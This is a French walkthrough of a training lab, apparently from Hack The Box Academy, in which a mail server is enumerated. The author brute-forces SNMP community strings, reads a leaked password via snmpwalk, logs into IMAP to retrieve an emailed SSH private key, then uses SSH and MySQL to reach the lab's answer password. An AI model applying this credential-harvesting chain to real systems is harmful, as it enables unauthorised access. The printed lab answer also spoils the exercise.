Footprinting Lab - Hard

🎯 Objectif

Le troisiĂšme serveur Ă  auditer agit comme serveur de messagerie (MX) ainsi que serveur de gestion interne pour l’infrastructure rĂ©seau de l’entreprise. Ce type de machine est souvent critique, car il centralise non seulement les communications internes, mais Ă©galement des opĂ©rations sensibles comme les sauvegardes d'utilisateurs ou la gestion des comptes.

Ce serveur est intĂ©grĂ© dans le domaine interne et a notamment pour rĂŽle de servir de serveur de secours (backup) pour les comptes d’utilisateurs.


đŸ›Ąïž Contexte opĂ©rationnel

  • Ce serveur est considĂ©rĂ© comme hautement sensible, en raison de sa double fonction :

    • Serveur de messagerie interne (MX)

    • Serveur de gestion/sauvegarde des comptes utilisateurs

  • Une cible prioritaire pour les attaquants : de par ses rĂŽles, il centralise des informations critiques et souvent des identifiants privilĂ©giĂ©s.

  • Un utilisateur nommĂ© HTB y a Ă©tĂ© créé spĂ©cifiquement par le client pour l’audit.


📌 Mission

🔐 Trouver les identifiants de l’utilisateur HTB prĂ©sents sur cette machine.

L’objectif est de :

  • Explorer les services exposĂ©s

  • Identifier les mĂ©canismes de gestion ou de messagerie

  • Trouver les informations sauvegardĂ©es ou transfĂ©rĂ©es vers ce serveur

  • Éviter toute technique invasive ou destructrice : il s'agit d'une mission de type "footprinting" passif/actif modĂ©rĂ©, sans exploitation intrusive.


Enumerate the server carefully and find the username "HTB" and its password. Then, submit HTB's password as the answer.

Scan de notre cible :

$ nmap -sV -p- 10.129.60.12 -Pn -n --disable-arp-ping
                                                         
Starting Nmap 7.93 ( https://nmap.org ) at 2025-06-27 14:51 CEST

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
110/tcp open  pop3     Dovecot pop3d
143/tcp open  imap     Dovecot imapd (Ubuntu)
993/tcp open  ssl/imap Dovecot imapd (Ubuntu)
995/tcp open  ssl/pop3 Dovecot pop3d

Nmap done: 1 IP address (1 host up) scanned in 25.40 seconds

Nous observons ici les ports pop3 et imap. Nous allons donc les utiliser Ă  notre avantage.

Cependant, sans identifiants, nous ne pourrons pas exploiter ces protocoles. C'est pour cette raison que nous effectuons un scan UDP de notre cible :

$ nmap -F -sV -sU aca.htb
                    
Starting Nmap 7.93 ( https://nmap.org ) at 2025-06-27 15:30 CEST

PORT    STATE         SERVICE VERSION
68/udp  open|filtered dhcpc
161/udp open          snmp    net-snmp; net-snmp SNMPv3 server

Nmap done: 1 IP address (1 host up) scanned in 209.72 seconds

Nous allons alors exploiter le protocole snmp :

$ snmpwalk -c public -v 2c "10.129.60.12"                                                                 
Timeout: No Response from 10.129.60.12

Rien ne nous est retourné concernant la communauté public.

Ceci est la raison pour laquelle nous allons utiliser l'outil onesixtyone afin d'effectuer un brute-force pour trouver les communautés possibles :

$ onesixtyone -c /usr/share/wordlists/seclists/Discovery/SNMP/snmp.txt "10.129.60.12" 
Scanning 1 hosts, 3219 communities
10.129.60.12 [backup] Linux NIXHARD 5.4.0-90-generic #101-Ubuntu SMP Fri Oct 15 20:00:55 UTC 2021 x86_64

Nous pouvons alors observer qu'une communauté nous est bien remontés avec le nom backup.

Nous réutilisons alors snmpwalk afin de recherches les OIDs de la communauté backup :

$ snmpwalk -c backup -v 2c "10.129.60.12"                                                           
iso.3.6.1.2.1.1.1.0 = STRING: "Linux NIXHARD 5.4.0-90-generic #101-Ubuntu SMP Fri Oct 15 20:00:55 UTC 2021 x86_64"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10
iso.3.6.1.2.1.1.3.0 = Timeticks: (1020106) 2:50:01.06
iso.3.6.1.2.1.1.4.0 = STRING: "Admin <tech@inlanefreight.htb>"
iso.3.6.1.2.1.1.5.0 = STRING: "NIXHARD"
iso.3.6.1.2.1.1.6.0 = STRING: "Inlanefreight"
[...]
iso.3.6.1.2.1.25.1.7.1.2.1.2.6.66.65.67.75.85.80 = STRING: "/opt/tom-recovery.sh"
iso.3.6.1.2.1.25.1.7.1.2.1.3.6.66.65.67.75.85.80 = STRING: "tom NMds732Js2761"
[...]
iso.3.6.1.2.1.25.1.7.1.3.1.1.6.66.65.67.75.85.80 = STRING: "chpasswd: (user tom) pam_chauthtok() failed, error:"
iso.3.6.1.2.1.25.1.7.1.3.1.2.6.66.65.67.75.85.80 = STRING: "chpasswd: (user tom) pam_chauthtok() failed, error:
Authentication token manipulation error
chpasswd: (line 1, user tom) password not changed
Changing password for tom."
[...]

Nous relevons ainsi les éléments suivants :

iso.3.6.1.2.1.25.1.7.1.2.1.2.6.66.65.67.75.85.80 = STRING: "/opt/tom-recovery.sh"
iso.3.6.1.2.1.25.1.7.1.2.1.3.6.66.65.67.75.85.80 = STRING: "tom NMds732Js2761"

Nous obtenons alors les identifiants de l'utilisateur tom:NMds732Js2761.

Nous nous connectons alors via les protocoles imap et pop3 grĂące Ă  ces identifiants :

$ openssl s_client -connect 10.129.60.12:imaps

CONNECTED(00000003)
[...]
* OK [CAPABILITY IMAP4rev1 SASL-IR LOGIN-REFERRALS ID ENABLE IDLE LITERAL+ AUTH=PLAIN] Dovecot (Ubuntu) ready.

1 login tom NMds732Js2761
1 OK [CAPABILITY IMAP4rev1 SASL-IR LOGIN-REFERRALS ID ENABLE IDLE SORT SORT=DISPLAY THREAD=REFERENCES THREAD=REFS THREAD=ORDEREDSUBJECT MULTIAPPEND URL-PARTIAL CATENATE UNSELECT CHILDREN NAMESPACE UIDPLUS LIST-EXTENDED I18NLEVEL=1 CONDSTORE QRESYNC ESEARCH ESORT SEARCHRES WITHIN CONTEXT=SEARCH LIST-STATUS BINARY MOVE SNIPPET=FUZZY PREVIEW=FUZZY LITERAL+ NOTIFY SPECIAL-USE] Logged in

Maintenant connectés, nous listons l'ensemble des répertoires disponibles :

1 list "" *
* LIST (\HasNoChildren) "." Notes
* LIST (\HasNoChildren) "." Meetings
* LIST (\HasNoChildren \UnMarked) "." Important
* LIST (\HasNoChildren) "." INBOX
1 OK List completed (0.005 + 0.000 + 0.004 secs).

AprÚs avoir navigué dans les différents répertoires, nous observons la présence d'un mail dans INBOX :

1 select INBOX
* OK [CLOSED] Previous mailbox closed.
* FLAGS (\Answered \Flagged \Deleted \Seen \Draft)
* OK [PERMANENTFLAGS (\Answered \Flagged \Deleted \Seen \Draft \*)] Flags permitted.
* 1 EXISTS
* 0 RECENT
* OK [UIDVALIDITY 1636509064] UIDs valid
* OK [UIDNEXT 2] Predicted next UID
1 OK [READ-WRITE] Select completed (0.010 + 0.000 + 0.010 secs).

Nous pouvons alors lister le contenu de ce mail :

1 fetch 1 body[]          
* 1 FETCH (BODY[] {3661}
HELO dev.inlanefreight.htb
MAIL FROM:<tech@dev.inlanefreight.htb>
RCPT TO:<bob@inlanefreight.htb>
DATA
From: [Admin] <tech@inlanefreight.htb>
To: <tom@inlanefreight.htb>
Date: Wed, 10 Nov 2010 14:21:26 +0200
Subject: KEY

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAACFwAAAAdzc2gtcn
[...]
XvSb8cNlUIWdRwAAAAt0b21ATklYSEFSRAECAwQFBg==
-----END OPENSSH PRIVATE KEY-----
)
1 OK Fetch completed (0.001 + 0.000 secs).

Nous obtenons alors une clé privée SSH , nous l'exploitons en lui attribuant les bons droits :

$ chmod 600 id_rsa  # Attribution des bons droits du fichier copié
                 
$ ssh -i id_rsa tom@10.129.60.12  # Connexion en SSH via la clé privée
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-90-generic x86_64)

Last login: Wed Nov 10 02:51:52 2021 from 10.10.14.20
tom@NIXHARD:~$ 

Nous sommes maintenant connectés à distance à la machine.

Nous analysons le contenu de /etc/passwd et pouvons observer la présence de mysql, nous allons donc nous en servir afin de trouver l'utilisateur HTB :

tom@NIXHARD:~$ cat /etc/passwd
[...]
mysql:x:114:119:MySQL Server,,,:/nonexistent:/bin/false
[...]

Connexion Ă  MySQL :

tom@NIXHARD:~$ mysql -u tom -pNMds732Js2761
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 11
Server version: 8.0.27-0ubuntu0.20.04.1 (Ubuntu)
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> 

Maintenant, nous pouvons récupérer les identifiants de l'utilisateur HTB :

mysql> SHOW databases;
+--------------------+
| Database           |
+--------------------+
| users              |
+--------------------+

mysql> USE users;
Database changed

mysql> SHOW tables;
+-----------------+
| Tables_in_users |
+-----------------+
| users           |
+-----------------+
1 row in set (0.00 sec)

mysql> SELECT * FROM users WHERE username="HTB";
+------+----------+------------------------------+
| id   | username | password                     |
+------+----------+------------------------------+
|  150 | HTB      | cr3n4o7rzse7rzhnckhssncif7ds |
+------+----------+------------------------------+
1 row in set (0.00 sec)

Nous obtenons donc les identifiants de HTB:cr3n4o7rzse7rzhnckhssncif7ds.


Mis Ă  jour